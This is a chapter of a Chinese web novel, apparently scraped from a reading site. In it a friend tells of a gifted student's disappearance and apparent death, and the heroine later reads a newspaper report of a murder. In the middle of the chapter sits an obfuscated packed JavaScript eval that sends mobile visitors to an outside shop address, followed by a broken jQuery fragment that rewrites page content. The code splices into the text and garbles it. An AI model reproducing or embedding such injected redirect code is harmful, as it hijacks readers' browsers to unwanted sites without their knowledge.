21.自白

作品:《坠入你的星球

    “你是不是喜欢许一宴。”


    “是,我喜欢他,现在也很喜欢他。”


    “……只是,我好像说太晚了。”


    “晚了整整九年。”


    “也没有说出口。”


    **


    九年前。


    曲葵生病请假休学的那两个月,许一宴没去CMO。


    扬明不是什么大城市,师资教育远比不上一线二线。小城市里难得出了个天才,校领导都指望他给学校拉一波知名度。


    CMO开幕式那天早上,王范没课,来的比平时晚几分钟。提着两个肉馅破酥包一杯现磨豆浆走进办公室,刚把吸管插十字孔里,小灵通响了,陌生号码。


    王范接通,电话夹在耳边,咬着吸管啜了口豆浆。


    “你们学校的许一宴,怎么没有来?”


    “噗!”豆浆太烫,舌头转瞬就麻,原本咽不下去也吐不出来,这句话无疑平地起惊雷。王范忍不住,豆浆全溅在办公桌的电脑上,惊呆对面和侧面的女教师。


    王范顾不上形象,极度震惊中破了音:“你说什么——”


    坏消息的扩散速度比瘟疫还快,才过上午就传遍扬明高中以及周边中学,短暂战胜国外爆火的男团,成为老师和学生之间猜测讨论的问题。


    朱覃知道的时候已经下午,课间冲去五楼许一宴的班级门口,许一宴没在教室。他拉住一个上厕所回来的女同学询问,得知许一宴这两天请假。


    上课铃响了,朱覃没回教室,跑进厕所给许一宴打电话。


    “您拨打的号码正在通话中,请稍后再拨。”


    重播。


    “您拨打的号码正在通话中,请稍后再拨。”


    重播。


    依旧是相同提示音。


    根据朱覃以往和女朋友打电话的经验,这种响了几声才转成通话中的提示音,一般都是对方拒接。


    朱覃的第一反应是:许一宴病了在睡着?


    很快他便否认:按照许一宴的性格,恐怕病危都要用那点力气爬去参加考试。


    放学,朱覃去许一宴家楼下,那个臭女人在二楼骂骂咧咧让他走。朱覃充耳不闻,把门敲出过年放炮仗的架势。


    朱覃扯着嗓子喊:“许一宴我知道你在家,不开门我今天就赖这了!”


    臭女人说:“有病吧你,不知道这是扰民吗?!”


    朱覃:“你有本事就去报警!”


    若干分钟后,门开了一条缝,许一宴穿着宽大的米色毛衣,露出半张病态苍白的脸。


    “他们都说你没去考试——”


    许一宴冷漠打断他:“不去了。”


    “你怎么了,是不是不舒服?”朱覃追问:“为什么啊,这种事情能说不去就不去吗?你都努力这么久——”


    打断他的是许一宴沙哑的低吼:“聋了吗!我说,不去了!”


    朱覃因为许一宴没去参加竞赛又瞒着他的事情心里压着怨气,被吼后火气也噌地上来:“你神经病吗吼什么吼,我大老远刚放学就跑过来找你就是听你骂我的吗!!”


    “是啊,我就是有病。”


    说完之后,许一宴重重关上门。而那个女人,站在二楼阳台围观这场闹剧,笑得前仰后俯。


    朱覃恨恨地朝她竖起中指,在心里单方面和许一宴绝交。


    平心而论,两人算穿一条开裆裤长大,妈妈是高中就认识的好闺蜜,大学毕业后也住得很近。在朱覃模糊的记忆里,许一宴妈妈特别漂亮。


    虽然叫张晴之,但一点也不爱笑。每次见她,身上有种忧郁、我见犹怜的气质。她好像有精神方面的问题,有时候愤怒躁狂有时候崩溃大哭,生下许一宴后病情更严重了,听说是产后抑郁症,未婚先孕,身边没有什么家人照顾,至少朱覃没见过许一宴其他亲戚登门拜访过。


    小时候朱覃觉得许一宴可怜,便问他妈:“许一宴是不是没爸爸啊?”


    被狠狠拍了一巴掌脑瓜子,让他别乱说。


    七岁,朱覃得知张晴之去世消息。仅一个月,许一宴就被不知道哪冒出来的便宜爸爸领走,朱覃对许一宴的了解越来越陌生。


    只知道许一宴很忌讳和别人谈心,什么都往心里憋,看上去对什么都没太大兴趣。每次他和许一宴吐槽家事,话题总会被巧妙转移。


    朱覃看到许一宴转变,是曲葵的出现。毕竟是一起长大,朱覃了解许一宴脸上的微表情,从他对曲葵小心翼翼的动作,总是落在她身上的目光,朱覃就知道这小子铁树开花了。


    他是很高兴的,他观察发现,曲葵明显对许一宴有意思,两人的关系只隔一张薄薄的纸,一戳就破。


    学校重点培养的对象没去考试,在校方看来好像挺严重,许一宴被他们班主任叫去办公室问原因,但许一宴不愿意说。他没考试,好像被他爹教训了——许一宴两个多星期没来上学。具体情况,朱覃也不知道,因为许一宴从来不和他说。


    直至今日,朱覃也不知道那段时间许一宴身上发生了什么。原本想偷偷告诉曲葵,让唯一一个有机会撬开许一宴嘴的人去问问,可曲葵请假了。


    后来听说她搬家转学,这事也就不了了之。也是从那天后,朱覃就隐约感到许一宴身上的转变——常常走神,话变得更少。


    可惜朱覃是个神经大条的人,反射弧天生比钓鱼线还长。以为许一宴是失恋,谁学生时代没经历过嘛,慢慢不就看开了。


    一二年三月,曲葵转学后两个月,春分前后几天。


    早上两节是语文课,早读结束许一宴还没到,语文老师问原因,班长回答:“可能是请假。”


    许一宴经常请假,短则一天,长则一周,各科目老师习以为常,没再多问,继续上课。


    第三节是王范的课,王范看许一宴没在,便问学生:“许一宴干嘛去了,怎么都上课十分钟了还没有来。”


    班长和同桌不解地对视两眼,迟疑站起来,说:“老师,他今天不是请假了吗?”


    王范心跳突然漏了一拍,怀疑自己失忆了。掏出手机翻了翻早上的通话记录,确实没接到过许一宴的请假电话,他一直以为这个宝贝学生是正常来上课。


    “谁跟你说他请假了,为什么不来告诉我?”


    学生面面相觑。


    王范心惊胆战,冷汗刷一下就打湿后背。他撂下一句先上自习课,自己走到楼梯间给许一宴家长打电话:“许一宴妈妈,孩子今天也不舒服吗?”


    这次接电话的是个男人,好像很忙,说话简短,语调很冷:“没有。”


    “孩子今天没来上课啊,现在人也没在教室里。”


    对方刻薄地问:“他逃学了吗?”


    王范听得心里不悦,许一宴这种三好学生,正常父母应该不会第一时间想到的是逃学,不过许一宴家长确实挺奇怪,高中三年一次都没有来开过家长会。


    他忙圆场:“我不是这个意思,许一宴昨晚回家了吗?”


    “不清楚,我问问他妈。”说完就挂断电话。


    几分钟后,王范接到许一宴家长电话,女人事不关己地说:“他昨晚没回家呀,他不是去朋友家过夜了吗。”


    王范耳边轰地一声,差点摔了手机瘫在地上,他捂着胸口靠墙静静站了一会儿,耳鸣声才消失。


    几个小时后,警方接到一起失踪报案。


    最开始猜测逃学离家出走的可能性。


    王范否认——即将高考的黄金时期,成绩优秀并性格稳定的学生,不会这样葬送自己的未来。


    那他为什么不见了?


    难道是顶不住压力轻生了?


    学生一致认为:虽然许一宴没去奥林比克数学竞赛,但本人情绪在和同学相处中依旧保持正常,没有出现失落或失控的时候。


    发小朱覃:他经常请假。并把那天去找许一宴的经过告诉警察,两人吵架之后就没有见过面了。


    许一宴父母反映:孩子压力太大,出现了一些精神方面的问题,看心理医生后开了药,情绪不稳定的时候,会给他请假。那天他朋友刚好赶上他病情发作,所以两人吵架了。


    经调查,许一宴房间抽屉里确实有很多没吃完的药盒。


    许一宴失踪了。


    没有人知道他确切失踪的时间,没有目击证人,没有监控拍到,网络上查不到购票记录,不知道有没有坐车离开扬明。警察一头雾水,无从下手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979134|191670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为了学校名誉,消息被封锁,事件没有登上报纸和新闻。


    一个人的失踪,无法在扬明这潭死水里翻出多大水花。仅仅两周,周围又恢复成往日模样,只有空着的两个座位,最初被暗恋主人的学生偷偷往桌箱里塞花纪念。后来花枯掉腐烂了,被扔进垃圾桶。渐渐,所有人都忘记了。


    几年后朱覃考进警察岗位,私下调查才知道,


    许一宴妈妈的病并非是产后抑郁症,而是一种名叫双相情感障碍的精神疾病,遗传率高达85%。


    许一宴可能也患有一定程度的双相,只是他太会隐藏情绪了,以至于所有人都觉得他是正常的。


    朱覃一直在自责。如果那几天他没有忙着追女孩子,而是待在许一宴身边的话,是不是能帮助他。


    为了弥补愧疚,他不顾家里反对执意复读考警校。他想把许一宴找出来,如果找出来了,要狠狠揍他一顿,可是要是另一个结局呢……朱覃不敢再想。


    对他来说,这是个梦魇,日日夜夜都让他活得不安宁,甚至在某些时候,他开始自责是不是因为当初自己和许一宴吵架时说的话太狠了,可那不是他的本意啊。他不知道许一宴生病了。


    一四年清明节,朱覃扫墓时无意间看见许一宴墓碑,发知道原来那家人在一年前生了一个孩子,他们给许一宴立了块碑,表示事情已经过去。


    可是真的过去了吗?


    朱覃站在墓碑前,最开始只是看不清上面的刻字,最后所有事物模糊成一团团虚幻光影,只知道眼里的液体控制不住地淌下来,糊了满脸。妈妈走过来拉他胳膊,被他甩开。


    “怎么会死了呢?!”他望向那块墓碑咆哮,“妈!他怎么可能死了呢!!”


    而妈妈只是神情复杂地望着他,迟疑地问:“你们不是早就绝交了吗?”


    朱覃怔住了,难以置信地看向他妈妈,恍惚想起来自己确实在过去某天里说过和许一宴绝交的话。


    犹如五雷轰顶。


    在那瞬间,他可悲地发现没有什么东西能在人的记忆中,在时间中永远存在。


    除了这世间一个两个被困在过去,不愿意向前看的灵魂之外。


    再也没有人记得扬明市曾经还有一个叫许一宴的人。就算同学聚会提及时,也只会说:我们那届的年级第一,叫什么来着?


    ——许什么?


    ……


    听朱覃说完,曲葵向朱覃要了一支烟。


    默默地,一口又一口抽完。冷空气吸进肺部,胸口隐隐作痛,酸水在胃里上涌下坠,喉咙痉挛。


    曲葵很想咳嗽,但身体麻木了,反而做不出什么动作。


    许一宴要多喜欢她,要有多温柔,才会在她哭泣的时候,强忍她给他带去的那些负面情绪,义无反顾拥她入怀。


    她知道得太晚,同时心怀侥幸,希望她那重返十七岁的“超能力”再生效一次,让她重新回到遇见许一宴的那一天。


    **


    还有两天就开学,曲葵把拿出来的衣服重新叠好塞进行李箱,放在门背后。


    洗完澡,看见曲林躺在沙发上睡着了,电视机开着,正在放晚间新闻。曲葵无奈把空调温度调高,去卧室抱来毛毯给曲林盖上,并抽走他捏在手里压在胸口上的报纸。


    信息时代,纸质书籍不再流行,绝大部分人转为电子阅读,导致报刊亭和书店关闭无数个。而曲林还保持订阅报纸的习惯,老人总是有恋旧情结,那些看完的报纸舍不得丢,用塑料绳扎起来,一年一捆,堆放在卧室的书架上。


    曲葵无事可做,翻开报纸。


    头版是一起杀人案件。


    标题:疑似二十五年前连环杀人凶手重新作案。


    内容:潼林市三环路正在修建的人工湖水坑里发现一具女尸,头部有被重器击打过的痕迹……死者年纪是二十四岁,名字是……


    看到这里,曲葵想起,这个未来她没有辍学,所以没有当过平面模特。曲葵记忆太多太杂,早已不记得曾经和自己共事过的女孩模样,但她名字是一种很美的花,让曲葵印象深刻。


    如果没记错的话。


    女孩名字和报纸上一致,叫肖蔷薇。